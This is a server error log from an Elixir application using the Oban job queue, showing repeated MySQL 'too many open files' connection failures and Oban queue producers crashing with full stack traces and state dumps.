[Sun Sep  6 00:19:03.401000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:19:04.943000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:19:05.320000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:19:06.114000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:19:07.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 891ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:18:55.240043Z], limit: 3, uuid: "015320b0-8d73-4d06-85a4-0829c26fbe02", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:18:55.240048Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.177533>, refresh_timer: #Reference<0.2525715032.1077673987.32043>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:19:07.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1030ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:18:55.239873Z], limit: 10, uuid: "98382c56-f34d-4501-bc8f-01a63f5f2341", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:18:55.239880Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.53536>, refresh_timer: #Reference<0.2525715032.1068498948.53513>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:19:07.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1084ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:18:55.240115Z], limit: 5, uuid: "2f34afb5-c199-4a47-9ae9-63e23305ac3d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:18:55.240121Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.177531>, refresh_timer: #Reference<0.2525715032.1121189889.177510>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:19:07.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 844ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:18:55.241468Z], limit: 20, uuid: "93bccb08-e2f0-42b9-89bf-fa51ff3940a4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:18:55.241474Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.177530>, refresh_timer: #Reference<0.2525715032.1121189889.177519>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:19:07.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 819ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:18:55.240115Z], limit: 50, uuid: "5d3ee49a-c0c7-416d-b2a7-70812408ec5b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:18:55.240121Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.32057>, refresh_timer: #Reference<0.2525715032.1077673987.32039>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:19:07.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 827ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:18:55.240149Z], limit: 5, uuid: "80822a7a-4ce2-436e-b0e4-dd28af57654a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:18:55.240154Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.177532>, refresh_timer: #Reference<0.2525715032.1077673987.32047>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:19:13.473000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:19:17.107000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:19:19.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1009ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:19:07.239190Z], limit: 10, uuid: "a8ad41fe-d10e-4a47-8ce4-bf5ff7204a6c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:19:07.239195Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.55296>, refresh_timer: #Reference<0.2525715032.1077673987.32178>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:19:19.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1043ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:19:07.239416Z], limit: 50, uuid: "5b353aa9-de8b-4ca5-92c2-feab156dee93", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:19:07.239421Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.55299>, refresh_timer: #Reference<0.2525715032.1068498948.53639>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:19:19.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 885ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
